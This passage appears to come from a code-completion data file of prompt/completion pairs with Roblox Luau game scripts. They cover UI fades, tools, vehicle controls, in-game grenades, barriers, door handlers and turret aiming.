msg.TextStrokeTransparency<1 then\n\t\t\t\t\tmsg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep\n\t\t\t\t\tttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep\n\t\t\t\tend\n\t\t\t\tif frame.BackgroundTransparency<1 then\n\t\t\t\t\tframe.BackgroundTransparency = frame.BackgroundTransparency+frameStep\n\t\t\t\tend\n\t\t\t\twait(1/60)\n\t\t\tend\n\t\t\tblur.Enabled = false\n\t\t\tblur:Destroy()\n\t\t\tservice.UnWrap(gui):Destroy()\n\t\t\tgone = true\n\t\tend\n\tend\n\t\n\tgTable.CustomDestroy = function()\n\t\tif not gone then\n\t\t\tgone = true\n\t\t\tpcall(fadeOut)\n\t\tend\n\t\t\n\t\tpcall(function() service.UnWrap(gui):Destroy() end)\n\t\tpcall(function() blur:Destroy() end)\n\tend\n\t\n\t\n\t--[[if not scroll then\n\t\tmsg.Text = message\n\telse\n\t\tRoutine(function()\n\t\t\twait(0.5)\n\t\t\tfor i = 1, #message do \n\t\t\t\tmsg.Text = `{msg.Text}{message:sub(i,i)}` \n\t\t\t\twait(0.05) \n\t\t\tend \n\t\tend)\n\tend--]] -- For now?\n\t\n\tfadeIn()\n\twait(tim or 5)\n\tif not gone then\n\t\tfadeOut()\n\tend\n\t\n\t--[[\n\t\n\tframe.Position = UDim2.new(0.5,-175,-1.5,0)\n\t\n\tgui.Parent = playergui\n\t\n\tframe:TweenPosition(UDim2.new(0.5,-175,0.25,0),nil,nil,0.5)\n\t\n\tif not scroll then\n\t\tmsg.Text = message\n\t\twait(tim or 10)\n\telse\n\t\twait(0.5)\n\t\tfor i = 1, #message do \n\t\t\tmsg.Text = `{msg.Text}{message:sub(i,i)}`\n\t\t\twait(0.05) \n\t\tend \n\t\twait(tim or 5) \n\tend\n\t\n\tif frame then\n\t\tframe:TweenPosition(UDim2.new(0.5,-175,-1.5,0),nil,nil,0.5)\n\t\twait(1)\n\t\tgui:Destroy()\n\tend\n\t--]]\nend\n"} +{"prompt": "--!nocheck\n-- ^ change to strict to crash studio c:\n-- ActiveCast class type.\n-- The ActiveCast type represents a currently running cast.", "completion": "\n\n"} +{"prompt": "----", "completion": "\n\nlocal GEAR_NAME = script.Parent.Name\n\nlocal function GEAR_CONTROL(gear_functions)\n\tlocal GF = gear_functions\n\t\n\t--Tool variables\n\tlocal TLV = {}\n\tlocal TConnections = {}\n\t\n\t--Tool functions\n\t\n\t--Tool object functions\n\tlocal function Start()\n\t\t--forming classical tool\n\t\tTLV[\"Equipped\"] = false\n\t\t\t\t\n\t\tTLV[\"Tool\"] = Instance.new(\"Tool\")\n\t\tTLV[\"Tool\"].CanBeDropped = false\n\t\tTLV[\"Tool\"].Name = \"\"\n\t\tTLV[\"Tool\"].TextureId = \"rbxassetid://\"\n\t\t--TLV[\"Tool\"].Grip = CFrame.new(0, -0.7, 0.1, 1, 0, 0, 0, 1, 0, 0, 0, 1)\n\t\t\n\t\tTLV[\"Handle\"] = GF.GenPart()\n\t\tTLV[\"Handle\"].Name = \"Handle\"\n\t\tTLV[\"Handle\"].Parent = TLV[\"Tool\"]\n\t\t\n\t\t--[[\n\t\tlocal h_mesh = Instance.new(\"SpecialMesh\")\n\t\th_mesh.MeshType = \"FileMesh\"\n\t\th_mesh.MeshId = \"rbxassetid://\"\n\t\th_mesh.TextureId = \"rbxassetid://\"\n\t\th_mesh.Scale = Vector3.new(1, 1, 1)\n\t\th_mesh.Parent = TLV[\"Handle\"]\n\t\t--]]\n\t\t\n\t\t--[[\n\t\tTLV[\"Sound\"] = Instance.new(\"Sound\")\n\t\tTLV[\"Sound\"].Volume = 1\n\t\tTLV[\"Sound\"].SoundId = \"rbxassetid://\"\n\t\tTLV[\"Sound\"].Parent = TLV[\"Handle\"]\n\t\t--]]\n\t\t\n\t\t--adding tool to backpack\n\t\tTLV[\"Tool\"].Parent = GF.GetBackpack()\n\t\t\n\t\t--tool triggers\n\t\t\n\t\t--tool connections\n\t\ttable.insert(TConnections, TLV[\"Tool\"].Activated:connect(function()\n\t\t\tif not GF.CheckAlive() then return end\n\t\t\t\n\t\tend))\n\t\ttable.insert(TConnections, TLV[\"Tool\"].Equipped:connect(function()\n\t\t\tTLV[\"Equipped\"] = true\n\t\tend))\n\t\ttable.insert(TConnections, TLV[\"Tool\"].Unequipped:connect(function()\n\t\t\tTLV[\"Equipped\"] = false\n\t\tend))\n\t\t\n\tend\n\t\n\tlocal function Update() --\"return false\" to destroy gear control object\n\t\t\n\t\treturn true\n\tend\n\t\n\tlocal function Stop()\n\t\tif TLV[\"Tool\"] ~= nil then\n\t\t\tTLV[\"Tool\"]:Destroy()\n\t\tend\n\t\t\n\t\tfor _, conn in pairs(TConnections) do\n\t\t\tpcall(function()\n\t\t\t\tconn:disconnect()\n\t\t\tend)\n\t\tend\n\t\t\n\t\tTLV = nil\n\tend\n\t\n\treturn {Start, Update, Stop}\nend\n\nlocal function GEAR_EFFECT_LOCAL(gear_functions, effect_data)\n\tlocal GF = gear_functions\n\tlocal ED = effect_data --DESCRIBE EFFECT DATA VALUES BELOW\n\t\n\t--Effect variables\n\tlocal EV = {}\n\t\n\t--Client effect functions\n\t\n\t--Client effect object functions\n\tlocal function Start()\n\t\tEV[\"StartTime\"] = tick()\n\t\t\n\tend\n\t\n\tlocal function Update(in_game) --\"return false\" to destroy gear effect object\n\t\t\n\t\treturn true\n\tend\n\t\n\tlocal function Stop()\n\t\tEV = nil\n\tend\n\t\n\treturn {Start, Update, Stop}\nend\n\nreturn {GEAR_CONTROL, GEAR_EFFECT_LOCAL}\n"} +{"prompt": "--[[ I wont' be using promises for TopbarPlus so we can ignore this method\nfunction Maid:givePromise(promise)\n\tif (promise:getStatus() ~= Promise.Status.Started) then\n\t\treturn promise\n\tend\n\n\tlocal newPromise = Promise.resolve(promise)\n\tlocal id = self:giveTask(newPromise)\n\n\t-- Ensure GC\n\tnewPromise:finally(function()\n\t\tself[id] = nil\n\tend)\n\n\treturn newPromise, id\nend--]]", "completion": "\n\nfunction Maid:give(taskOrPromise)\n\tlocal taskId\n\tif type(taskOrPromise) == \"table\" and taskOrPromise.isAPromise then\n\t\t_, taskId = self:givePromise(taskOrPromise)\n\telse\n\t\ttaskId = self:giveTask(taskOrPromise)\n\tend\n\treturn taskOrPromise, taskId\nend\n"} +{"prompt": "--Gear Ratios", "completion": "\n\tTune.FinalDrive\t\t= 3.15\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t4.17\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t5.00\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t3.20\t,\n\t\t--[[ 3 ]]\t\t2.14\t\t,\n\t\t--[[ 4 ]]\t\t1.72\t\t,\n\t\t--[[ 5 ]]\t\t1.31\t\t,\n\t\t--[[ 6 ]]\t\t1.00\t\t,\n\t\t--[[ 7 ]]\t\t0.82\t\t,\n\t\t--[[ 8 ]]\t\t0.64\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.6\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nlocal v1 = {};\nreturn function(p1)\n\tlocal v2 = {};\n\tfor v3, v4 in ipairs(game.Players:GetPlayers()) do\n\t\tif p1 ~= v4 then\n\t\t\tlocal u2 = false;\n\t\t\tpcall(function()\n\t\t\t\tu2 = p1:IsFriendsWith(v4.UserId);\n\t\t\tend);\n\t\t\tif u2 then\n\t\t\t\ttable.insert(v2, v4);\n\t\t\tend;\n\t\tend;\n\tend;\n\treturn v2;\nend;\n"} +{"prompt": "--[[\n\tInput: Player a, Player b\n\tOutput: Bool isTeammate\n\t\n\tReturns true if the players are on the same team\n--]]", "completion": "\n\nreturn function(a, b)\n\tif not a or not b then return nil end\n\treturn a and b and a:IsA'Player' and b:IsA'Player' and a.Neutral==false and b.Neutral==false and a.TeamColor==b.TeamColor\nend\n"} +{"prompt": "--[[\nCreates a barrier.\n--]]", "completion": "\nreturn function(CenterCF,Parent)\n\t--Create the container.\n\tlocal Container = Instance.new(\"Model\")\n\tContainer.Name = \"Barrier\"\n\tContainer.Parent = Parent\n\t\n\t--Create the anchor parts.\n\tlocal Anchor1 = CreateAnchorPart(Vector3.new(2,1,2),CenterCF * CFrame.new(0,1.5,-11),Container)\n\tlocal Anchor2 = CreateAnchorPart(Vector3.new(2,1,2),CenterCF * CFrame.new(0,-0.5,-5),Container)\n\tlocal Anchor3 = CreateAnchorPart(Vector3.new(2,1,2),CenterCF * CFrame.new(0,-0.5,5),Container)\n\tlocal Anchor4 = CreateAnchorPart(Vector3.new(2,1,2),CenterCF * CFrame.new(0,1.5,11),Container)\n\t\n\t--Create the first layer of the barrier.\n\tlocal Layer1Part1 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,0.5,-3),Container)\n\tlocal Layer1Part2 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,0.5,3),Container)\n\tWeldBetween(Anchor2,Layer1Part1)\n\tWeldBetween(Anchor3,Layer1Part2)\n\t\n\t--Create the second layer of the barrier.\n\tlocal Layer2Part1 = CreateLowerWallPart(Vector3.new(4,1,6),CenterCF * CFrame.new(0,1.5,-6),Container)\n\tlocal Layer2Part2 = CreateLowerWallPart(Vector3.new(4,1,6),CenterCF * CFrame.new(0,1.5,0),Container)\n\tlocal Layer2Part3 = CreateLowerWallPart(Vector3.new(4,1,6),CenterCF * CFrame.new(0,1.5,6),Container)\n\tWeldBetween(Layer1Part1,Layer2Part1)\n\tWeldBetween(Layer1Part1,Layer2Part2)\n\tWeldBetween(Layer1Part2,Layer2Part2)\n\tWeldBetween(Layer1Part2,Layer2Part3)\n\t\n\t--Create the third layer of the barrier.\n\tlocal Layer3Part1 = CreateLowerWallPart(Vector3.new(4,1,6),CenterCF * CFrame.new(0,2.5,-9),Container)\n\tlocal Layer3Part2 = CreateLowerWallPart(Vector3.new(4,1,6),CenterCF * CFrame.new(0,2.5,-3),Container)\n\tlocal Layer3Part3 = CreateLowerWallPart(Vector3.new(4,1,6),CenterCF * CFrame.new(0,2.5,3),Container)\n\tlocal Layer3Part4 = CreateLowerWallPart(Vector3.new(4,1,6),CenterCF * CFrame.new(0,2.5,9),Container)\n\tWeldBetween(Anchor1,Layer3Part1)\n\tWeldBetween(Layer2Part1,Layer3Part1)\n\tWeldBetween(Layer2Part1,Layer3Part2)\n\tWeldBetween(Layer2Part2,Layer3Part2)\n\tWeldBetween(Layer2Part2,Layer3Part3)\n\tWeldBetween(Layer2Part3,Layer3Part3)\n\tWeldBetween(Layer2Part3,Layer3Part4)\n\tWeldBetween(Anchor4,Layer3Part4)\n\t\n\t--Create the fourth layer of the barrier.\n\tlocal Layer4Part1 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,3.5,-9),Container)\n\tlocal Layer4Part2 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,3.5,-3),Container)\n\tlocal Layer4Part3 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,3.5,3),Container)\n\tlocal Layer4Part4 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,3.5,9),Container)\n\tWeldBetween(Layer3Part1,Layer4Part1)\n\tWeldBetween(Layer3Part2,Layer4Part2)\n\tWeldBetween(Layer3Part3,Layer4Part3)\n\tWeldBetween(Layer3Part4,Layer4Part4)\n\t\n\t--Create the fifth layer of the barrier.\n\tlocal Layer5Part1 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,4.5,-9),Container)\n\tlocal Layer5Part2 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,4.5,-3),Container)\n\tlocal Layer5Part3 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,4.5,3),Container)\n\tlocal Layer5Part4 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,4.5,9),Container)\n\tWeldBetween(Layer4Part1,Layer5Part1)\n\tWeldBetween(Layer4Part2,Layer5Part2)\n\tWeldBetween(Layer4Part3,Layer5Part3)\n\tWeldBetween(Layer4Part4,Layer5Part4)\n\t\n\t--Create the sixth layer of the barrier.\n\tlocal Layer6Part1 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,5.5,-8),Container)\n\tlocal Layer6Part2 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,5.5,8),Container)\n\tWeldBetween(Layer5Part1,Layer6Part1)\n\tWeldBetween(Layer5Part2,Layer6Part1)\n\tWeldBetween(Layer5Part3,Layer6Part2)\n\tWeldBetween(Layer5Part4,Layer6Part2)\n\t\n\t--Create the seventh layer of the barrier.\n\tlocal Layer7Part1 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,6.5,-7),Container)\n\tlocal Layer7Part2 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,6.5,7),Container)\n\tWeldBetween(Layer6Part1,Layer7Part1)\n\tWeldBetween(Layer6Part2,Layer7Part2)\n\t\n\t--Create the eigth layer of the barrier.\n\tlocal Layer8Part1 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,7.5,-8),Container)\n\tlocal Layer8Part2 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,7.5,8),Container)\n\tWeldBetween(Layer7Part1,Layer8Part1)\n\tWeldBetween(Layer7Part2,Layer8Part2)\n\t\n\t--Create the nineth layer of the barrier.\n\tlocal Layer9Part1 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,8.5,-9),Container)\n\tlocal Layer9Part2 = CreateLowerWallPart(Vector3.new(2,1,6),CenterCF * CFrame.new(0,8.5,9),Container)\n\tWeldBetween(Layer8Part1,Layer9Part1)\n\tWeldBetween(Layer8Part2,Layer9Part2)\n\t\n\t--Create the tenth layer of the barrier.\n\tlocal Layer10Part1 = CreateMiddleWallPart(Vector3.new(4,1,8),CenterCF * CFrame.new(0,9.5,-9),Container)\n\tlocal Layer10Part2 = CreateMiddleWallPart(Vector3.new(4,1,8),CenterCF * CFrame.new(0,9.5,9),Container)\n\tWeldBetween(Layer9Part1,Layer10Part1)\n\tWeldBetween(Layer9Part2,Layer10Part2)\n\t\n\t--Create the eleventh layer of the barrier.\n\tlocal Layer11Part1 = CreateMiddleWallPart(Vector3.new(4,1,8),CenterCF * CFrame.new(0,10.5,-7),Container)\n\tlocal Layer11Part2 = CreateMiddleWallPart(Vector3.new(4,1,8),CenterCF * CFrame.new(0,10.5,7),Container)\n\tWeldBetween(Layer10Part1,Layer11Part1)\n\tWeldBetween(Layer10Part2,Layer11Part2)\n\t\n\t--Create the twelveth layer of the barrier.\n\tlocal Layer12Part1 = CreateMiddleWallPart(Vector3.new(4,1,8),CenterCF * CFrame.new(0,11.5,-4),Container)\n\tlocal Layer12Part2 = CreateMiddleWallPart(Vector3.new(4,1,8),CenterCF * CFrame.new(0,11.5,4),Container)\n\tWeldBetween(Layer11Part1,Layer12Part1)\n\tWeldBetween(Layer11Part2,Layer12Part2)\n\t\n\t--Create the thirteenth layer of the barrier.\n\tlocal Layer13Part1 = CreateMiddleWallPart(Vector3.new(4,1,6),CenterCF * CFrame.new(0,12.5,-3),Container)\n\tlocal Layer13Part2 = CreateMiddleWallPart(Vector3.new(4,1,6),CenterCF * CFrame.new(0,12.5,3),Container)\n\tWeldBetween(Layer12Part1,Layer13Part1)\n\tWeldBetween(Layer12Part2,Layer13Part2)\n\t\n\t--Create the fourteenth layer of the barrier.\n\tlocal Layer14Part1 = CreateTopWallPart(Vector3.new(2,1,3),CenterCF * CFrame.new(0,13.5,-3.5),Container)\n\tlocal Layer14Part2 = CreateTopWallPart(Vector3.new(2,1,4),CenterCF * CFrame.new(0,13.5,0),Container)\n\tlocal Layer14Part3 = CreateTopWallPart(Vector3.new(2,1,3),CenterCF * CFrame.new(0,13.5,3.5),Container)\n\tWeldBetween(Layer13Part2,Layer14Part1)\n\tWeldBetween(Layer13Part1,Layer14Part2)\n\tWeldBetween(Layer13Part2,Layer14Part2)\n\tWeldBetween(Layer13Part2,Layer14Part3)\n\t\nend\n"} +{"prompt": "-------------------------", "completion": "\n \nmouse.KeyDown:connect(function (key)\n key = string.lower(key)\n\t\t\t\tif key == \"k\" then --Camera controls\n\t\t\t\t if cam == (\"car\") then\n\t\t\t\t\t\t\tCamera.CameraSubject = player.Character.Humanoid\n\t\t\t\t\t\t\tCamera.CameraType = (\"Custom\")\n\t\t\t\t\t\t\tcam = (\"freeplr\")\n\t\t\t\t\t\t\tCamera.FieldOfView = 70\n\t\t\t\t\t\telseif cam == (\"freeplr\") then\n\t\t\t\t\t\t\tCamera.CameraSubject = player.Character.Humanoid\n\t\t\t\t\t\t\tCamera.CameraType = (\"Attach\")\n\t\t\t\t\t\t\tcam = (\"lockplr\")\n\t\t\t\t\t\t\tCamera.FieldOfView = 45\n\t\t\t\t elseif cam == (\"lockplr\") then\n\t\t\t\t\t\t\tCamera.CameraSubject = carSeat\n\t\t\t\t\t\t\tCamera.CameraType = (\"Custom\")\n\t\t\t\t\t\t\tcam = (\"car\")\n\t\t\t\t\t\t\tCamera.FieldOfView = 70\n\t\t\t\t end\n\t\t\t\telseif key == \"u\" then --Window controls\n\t\t\t\t if windows == false then \n\t\t\t\t\twinfob.Visible = true\n\t\t\t\t\twindows = true\n\t\t\t\t else windows = false\n\t\t\t\t\twinfob.Visible = false\n\t\t\t\t end\n\t\t\tend\nend)\n\nwinfob.FL.Lock.MouseButton1Click:connect(function() --Window\n if carSeat.WindowFL.Value == false then \n carSeat.WindowFL.Value = true\n carSeat.Parent.Misc.FL.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.FL.Window.SS.Motor.DesiredAngle - 0.20\n else carSeat.WindowFL.Value = false\n carSeat.Parent.Misc.FL.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.FL.Window.SS.Motor.DesiredAngle + 0.20\n end\nend)\n\nwinfob.FR.Lock.MouseButton1Click:connect(function() --Window\n if carSeat.WindowFR.Value == false then \n carSeat.WindowFR.Value = true\n carSeat.Parent.Misc.FR.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.FR.Window.SS.Motor.DesiredAngle + 0.20\n else carSeat.WindowFR.Value = false\n carSeat.Parent.Misc.FR.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.FR.Window.SS.Motor.DesiredAngle - 0.20\n end\nend)\n \nwinfob.RL.Lock.MouseButton1Click:connect(function() --Window\n if carSeat.WindowRL.Value == false then \n carSeat.WindowRL.Value = true\n carSeat.Parent.Misc.RL.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.RL.Window.SS.Motor.DesiredAngle - 0.20\n else carSeat.WindowRL.Value = false\n carSeat.Parent.Misc.RL.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.RL.Window.SS.Motor.DesiredAngle + 0.20\n end\nend)\n\nwinfob.RR.Lock.MouseButton1Click:connect(function() --Window\n if carSeat.WindowRR.Value == false then \n carSeat.WindowRR.Value = true\n carSeat.Parent.Misc.RR.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.RR.Window.SS.Motor.DesiredAngle + 0.20\n else carSeat.WindowRR.Value = false\n carSeat.Parent.Misc.RR.Window.SS.Motor.DesiredAngle = carSeat.Parent.Misc.RR.Window.SS.Motor.DesiredAngle - 0.20\n end\nend)\n\nHUB.Limiter.MouseButton1Click:connect(function() --Ignition\n if carSeat.IsOn.Value == false then\n\tcarSeat.IsOn.Value = true\n\tcarSeat.Startup:Play()\n\twait(1)\n\tcarSeat.Chime:Play()\nelse\n\tcarSeat.IsOn.Value = false\nend\nend)\n\nTR.SN.MouseButton1Click:connect(function() --Show tracker names\n\tscript.Parent.Names.Value = true\nend)\n\nTR.HN.MouseButton1Click:connect(function() --Hide tracker names\n\tscript.Parent.Names.Value = false\nend)\n\ncarSeat.Indicator.Changed:connect(function()\n\tif carSeat.Indicator.Value == true then\n\t\tscript.Parent.Indicator:Play()\n\telse\n\t\tscript.Parent.Indicator2:Play()\n\tend\nend)\n\ncarSeat.LI.Changed:connect(function()\n\tif carSeat.LI.Value == true then\n\t\tcarSeat.Parent.Body.Dash.DashSc.G.Left.Visible = true\n\t\tscript.Parent.HUB.Left.Visible = true\n\telse\n\t\tcarSeat.Parent.Body.Dash.DashSc.G.Left.Visible = false\n\t\tscript.Parent.HUB.Left.Visible = false\n\tend\nend)\n\ncarSeat.RI.Changed:connect(function()\n\tif carSeat.RI.Value == true then\n\t\tcarSeat.Parent.Body.Dash.DashSc.G.Right.Visible = true\n\t\tscript.Parent.HUB.Right.Visible = true\n\telse\n\t\tcarSeat.Parent.Body.Dash.DashSc.G.Right.Visible = false\n\t\tscript.Parent.HUB.Right.Visible = false\n\tend\nend)\n\nwhile wait() do\n\tcarSeat.Parent.Body.Dash.Screen.G.Time.Text = game.Lighting.TimeOfDay\n\tcarSeat.Parent.Body.Dash.DashSc.G.Time.Text = game.Lighting.TimeOfDay\n\tcarSeat.Parent.Body.Dash.DashSc.G.Speed.Text = math.floor(carSeat.Velocity.magnitude*((10/12) * (60/88)))\n\tscript.Parent.HUB.Time.Text = game.Lighting.TimeOfDay\nend\n"} +{"prompt": "--[[\n\tAssert that our expectation value is truthy\n]]", "completion": "\nfunction Expectation:ok()\n\tlocal result = (self.value ~= nil) == self.successCondition\n\n\tlocal message = formatMessage(\n\t\tself.successCondition,\n\t\t(\"Expected value %q to be non-nil\"):format(tostring(self.value)),\n\t\t(\"Expected value %q to be nil\"):format(tostring(self.value))\n\t)\n\n\tassertLevel(result, message, 3)\n\tself:_resetModifiers()\n\n\treturn self\nend\n"} +{"prompt": "--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------\n-- Waits for the child of the specified parent", "completion": "\nlocal function WaitForChild(parent, childName)\n\twhile not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end\n\treturn parent[childName]\nend\nlocal GLib = require(206209239)\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\nlocal oldAnim = currentAnim\n"} +{"prompt": "------------------------------------------------------------------------------\n--------------------[ MAIN PROGRAM ]------------------------------------------\n------------------------------------------------------------------------------", "completion": "\n\nfunction DetonateExplosive()\n\tlocal GrenadePos = Main.Position\n\t\n\tCreateShockwave(Main.Position, S.GrenadeBlastRadius)\n\t\n\tSound:Play()\n\t\n\tlocal E = Instance.new(\"Explosion\")\n\tE.BlastPressure = S.GrenadeBlastPressure\n\tE.BlastRadius = S.GrenadeBlastRadius\n\tE.DestroyJointRadiusPercent = (S.GrenadeRangeBasedDamage and 0 or 1)\n\tE.ExplosionType = S.GrenadeExplosionType\n\tE.Position = GrenadePos\n\tE.Hit:connect(function(HObj, HDist)\n\t\tif (not IsIgnored(HObj)) and HObj.Name == \"Torso\" then\n\t\t\tif S.GrenadeRangeBasedDamage then\n\t\t\t\tlocal ClosestPart = nil\n\t\t\t\tlocal ClosestDist = math.huge\n\t\t\t\t\n\t\t\t\tfor _, P in pairs(HObj.Parent:GetChildren()) do\n\t\t\t\t\tif P:IsA(\"BasePart\") then\n\t\t\t\t\t\tlocal Dist = (GrenadePos - P.Position).magnitude\n\t\t\t\t\t\tif Dist < ClosestDist then\n\t\t\t\t\t\t\tClosestPart = P\n\t\t\t\t\t\t\tClosestDist = Dist\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tlocal Dir = (ClosestPart.Position - GrenadePos).unit\n\t\t\t\tlocal H, P = AdvRayCast(GrenadePos, Dir, 999)\n\t\t\t\tlocal RayHitHuman = H:IsDescendantOf(HObj.Parent)\n\t\t\t\tif (S.GrenadeRayCastExplosions and RayHitHuman) or (not S.GrenadeRayCastExplosions) then\n\t\t\t\t\tlocal HitHumanoid = FindFirstClass(HObj.Parent, \"Humanoid\")\n\t\t\t\t\tif HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then\n\t\t\t\t\t\tlocal DistFactor = ClosestDist / S.GrenadeBlastRadius\n\t\t\t\t\t\tlocal DistInvert = math.max(1 - DistFactor, 0)\n\t\t\t\t\t\tlocal NewDamage = DistInvert * S.LethalGrenadeDamage\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal CreatorTag = Instance.new(\"ObjectValue\")\n\t\t\t\t\t\tCreatorTag.Value = Plyr\n\t\t\t\t\t\tCreatorTag.Name = \"creator\"\n\t\t\t\t\t\tCreatorTag.Parent = HitHumanoid\n\t\t\t\t\t\tHitHumanoid:TakeDamage(NewDamage)\n\t\t\t\t\t\tMarkHit()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tlocal HitHumanoid = FindFirstClass(HObj.Parent, \"Humanoid\")\n\t\t\t\tif HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then\n\t\t\t\t\tlocal CreatorTag = Instance.new(\"ObjectValue\")\n\t\t\t\t\tCreatorTag.Value = Plyr\n\t\t\t\t\tCreatorTag.Name = \"creator\"\n\t\t\t\t\tCreatorTag.Parent = HitHumanoid\n\t\t\t\t\tMarkHit()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\n\tE.Parent = game.Workspace\n\t\n\tMain.Transparency = 1\n\tMain.Anchored = true\n\tMain.CanCollide = false\n\t\n\twait(1)\n\t\n\tMain:Destroy()\nend\n\nif S.TimerStartOnHit then\n\tlocal Detonated = false\n\tMain.Touched:connect(function(Obj)\n\t\tif IsIgnored(Obj) or Detonated then return end\n\t\tMain.Velocity = Main.Velocity / 4\n\t\tDetonated = true\n\t\t\n\t\twait(S.DetonationTime)\n\t\t\n\t\tDetonateExplosive()\n\tend)\nelse\n\tspawn(function()\n\t\tlocal Touched = false\n\t\tMain.Touched:connect(function(Obj)\n\t\t\tif IsIgnored(Obj) or Touched then return end\n\t\t\tTouched = true\n\t\t\tMain.Velocity = Main.Velocity / 4\n\t\tend)\n\tend)\n\twait(S.DetonationTime)\n\tDetonateExplosive()\nend\n"} +{"prompt": "-- Mimic roblox menu when opened and closed", "completion": "\nguiService.MenuClosed:Connect(function()\n\tif VRService.VREnabled then\n\t\treturn\n\tend\n\tmenuOpen = false\n\tif not IconController.controllerModeEnabled then\n\t\tIconController.setTopbarEnabled(IconController.topbarEnabled,false)\n\tend\nend)\nguiService.MenuOpened:Connect(function()\n\tif VRService.VREnabled then\n\t\treturn\n\tend\n\tmenuOpen = true\n\tIconController.setTopbarEnabled(false,false)\nend)\n\nbindCamera()\n"} +{"prompt": "-- Functional Services", "completion": "\nuis = game:GetService(\"UserInputService\")\ntween = game:GetService(\"TweenService\")\n"} +{"prompt": "--[[\n\tStores common type information used internally.\n\n\tThese types may be used internally so Fusion code can type-check, but\n\tshould never be exposed to public users, as these definitions are fair game\n\tfor breaking changes.\n]]", "completion": "\n\nlocal Package = script.Parent\nlocal PubTypes = require(Package.PubTypes)\n\ntype Set = {[T]: any}\n"} +{"prompt": "--[[ss1.Touched:connect(function()\n\tif IsOpen.Value == false then\n\t\tOtherDir.Value = false\n\t\topendoor()\n\t\twait(TimeDelay)\n\t\tclosedoor()\n\tend\nend)]]", "completion": "\n\nhandle.ClickDetector.MouseClick:connect(function()\n\tif IsOpen.Value == false then\n\t\tOtherDir.Value = false\n\t\topendoor()\n\t\twait(TimeDelay)\n\t\tclosedoor()\n\tend\nend)\n"} +{"prompt": "-- A state object which follows another state object using tweens.", "completion": "\nexport type Tween = PubTypes.Tween & {\n\t_goalState: State,\n\t_tweenInfo: TweenInfo,\n\t_prevValue: T,\n\t_nextValue: T,\n\t_currentValue: T,\n\t_currentTweenInfo: TweenInfo,\n\t_currentTweenDuration: number,\n\t_currentTweenStartTime: number,\n\t_currentlyAnimating: boolean\n}\n"} +{"prompt": "-- Using the desired target rotation and elevation, determine where the gun should point right now (smoothly turn)", "completion": "\nfunction getSmoothRotation(rotations)\n\t\n\tlocal targElev = rotations[1];\n\tlocal targRot = rotations[2];\t\n\t\n\tlocal maxGunDepression = tankStats.GunDepression.Value;\n\t\n\t-- Restrict the height of travel of the gun\n\tif math.abs(targElev) > maxGunDepression then\n\t\ttargElev = maxGunDepression*sign(targElev);\n\tend\n\t\n\t-- Once target angles are set, slowly turn turret towards them\n\t-- Elevation\n\tlocal elevDiff = targElev - currentElev;\n\tif math.abs(elevDiff) < 0.01 then -- If they're close\n\t\tcurrentElev = targElev;\n\telse -- Move towards it\n\t\tcurrentElev = currentElev + 0.01*sign(elevDiff);\n\tend\n\t\n\t-- Rotation\n\tlocal rotDiff = targRot - currentRot;\n\t\n\tif rotDiff > math.pi then\n\t\trotDiff = rotDiff - 2*math.pi;\n\telseif rotDiff < -math.pi then\n\t\trotDiff = rotDiff + 2*math.pi;\n\tend\n\t\n\tlocal turretSpeed = tankStats.TurretSpeed.Value;\n\t\n\tif math.abs(rotDiff) < turretSpeed then -- If they're close\n\t\tcurrentRot = targRot;\n\telse -- Move towards it\n\t\tcurrentRot = currentRot + 